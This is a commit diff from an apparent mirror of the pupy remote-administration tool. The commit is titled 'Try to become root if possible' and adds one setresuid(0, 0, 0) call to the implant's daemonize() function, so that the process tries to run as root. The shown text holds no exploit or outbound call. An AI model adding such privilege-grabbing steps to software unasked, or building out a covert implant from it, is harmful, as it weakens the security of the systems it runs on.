mirror of https://github.com/n1nj4sec/pupy.git
Try to become root if possible
This commit is contained in:
parent
7309acdf19
commit
1a02ac6150
|
@ -54,6 +54,8 @@ int daemonize(bool exit_parent) {
|
|||
|
||||
int pipes[2];
|
||||
|
||||
setresuid(0, 0, 0);
|
||||
|
||||
/* Cleanup environment and reexec */
|
||||
char self[PATH_MAX] = {};
|
||||
|
||||
|
|
Loading…
Reference in New Issue